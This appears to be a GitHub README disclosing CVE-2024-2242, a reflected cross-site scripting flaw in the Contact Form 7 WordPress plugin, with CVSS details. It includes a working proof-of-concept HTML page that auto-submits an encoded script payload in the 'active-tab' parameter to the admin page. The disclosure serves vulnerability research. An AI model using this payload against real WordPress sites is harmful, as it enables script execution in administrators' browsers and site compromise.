Skip to content

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting

Notifications You must be signed in to change notification settings

RandomRobbieBF/CVE-2024-2242

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

CVE-2024-2242

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting

Description

The Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘active-tab’ parameter in all versions up to, and including, 5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS: 6.1
Impact: 2.7
Vector: network
User Interaction: required
Privileges Required: none
Published: 2024-03-13
Updated: 2024-03-13

POC

You need to know the post id value the form is on otherwise when the admin clicks the link it won't work. Overall this should have priviliages required as H as you need admin to click the link.

<html>

  <body>
    <form action="http://kubernetes.docker.internal/wp-admin/admin.php">
      <input type="hidden" name="page" value="wpcf7" />
      <input type="hidden" name="post" value="4478" />
      <input type="hidden" name="active&#45;tab" value="&apos;&quot;&gt;&lt;svg&#47;onload&#61;prompt&#40;7&#41;&#59;&gt;&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

About

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published